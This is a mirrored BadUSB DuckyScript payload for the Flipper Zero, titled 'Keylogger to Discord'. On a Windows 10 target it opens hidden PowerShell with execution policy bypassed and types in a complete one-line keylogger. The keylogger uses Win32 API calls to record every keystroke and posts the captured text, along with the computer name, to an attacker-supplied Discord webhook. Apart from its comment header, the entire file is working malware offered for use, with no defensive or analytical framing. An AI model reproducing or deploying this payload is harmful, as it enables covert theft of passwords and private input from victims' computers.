mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2026-01-06 17:53:41 -08:00
23 lines
2.1 KiB
Plaintext
23 lines
2.1 KiB
Plaintext
REM Title: Keylogger to Discord
|
|
REM Author: @beigeworm
|
|
REM Description: Uses Powershell to gather keystroke info and send it via Discord.
|
|
REM Target: Windows 10
|
|
REM LEARN MORE HERE - https://github.com/beigeworm/Powershell-Tools-and-Toys
|
|
|
|
REM *SETUP*
|
|
REM replace WEBHOOK_GOES_HERE with your discord webhook.
|
|
|
|
|
|
REM some setup for dukie script
|
|
DEFAULT_DELAY 100
|
|
|
|
REM Open Powershell and start logs.
|
|
DELAY 1000
|
|
GUI r
|
|
DELAY 500
|
|
STRING powershell -NoP -NonI -Exec Bypass -W hidden
|
|
ENTER
|
|
DELAY 5000
|
|
STRING $dc = "WEBHOOK_GOES_HERE!";$a = '[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] public static extern short GetAsyncKeyState(int virtualKeyCode); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int GetKeyboardState(byte[] keystate); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int MapVirtualKey(uint uCode, int uMapType); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);';$a = Add-Type -MemberDefinition $a -Name 'Win32' -Namespace API -PassThru;$b = [System.Diagnostics.Stopwatch]::StartNew();$c = [TimeSpan]::FromSeconds(10);While($true){$d = $false;try{while ($b.Elapsed -lt $c){Sleep -Milliseconds 30;for($e = 8; $e -le 254; $e++){$f = $a::GetAsyncKeyState($e);if ($f -eq -32767){$d = $true;$b.Restart();$null = [console]::CapsLock;$g = $a::MapVirtualKey($e, 3);$h = New-Object Byte[] 256;$j = $a::GetKeyboardState($h);$k = New-Object -TypeName System.Text.StringBuilder;if($a::ToUnicode($e, $g, $h, $k, $k.Capacity, 0)){;$l = $k.ToString();if ($e -eq 8) {$l = "[BKSP]"};if ($e -eq 13) {$l = "[ENT]"};if ($e -eq 27) {$l = "[ESC]"};$m += $l}}}}}finally{If($d){$n = $m -replace '[&<>]', {$args[0].Value.Replace('&', '&').Replace('<', '<').Replace('>', '>')};$o = Get-Date -Format "dd-MM-yyyy HH:mm:ss";$p = $o+" : "+'`'+$n+'`';$q = @{"username" = "$env:COMPUTERNAME" ;"content" = $p} | ConvertTo-Json;irm -Uri $dc -Method Post -ContentType "application/json" -Body $q;$d = $false;$m = ""}}$b.Restart();Sleep -Milliseconds 10}
|
|
ENTER
|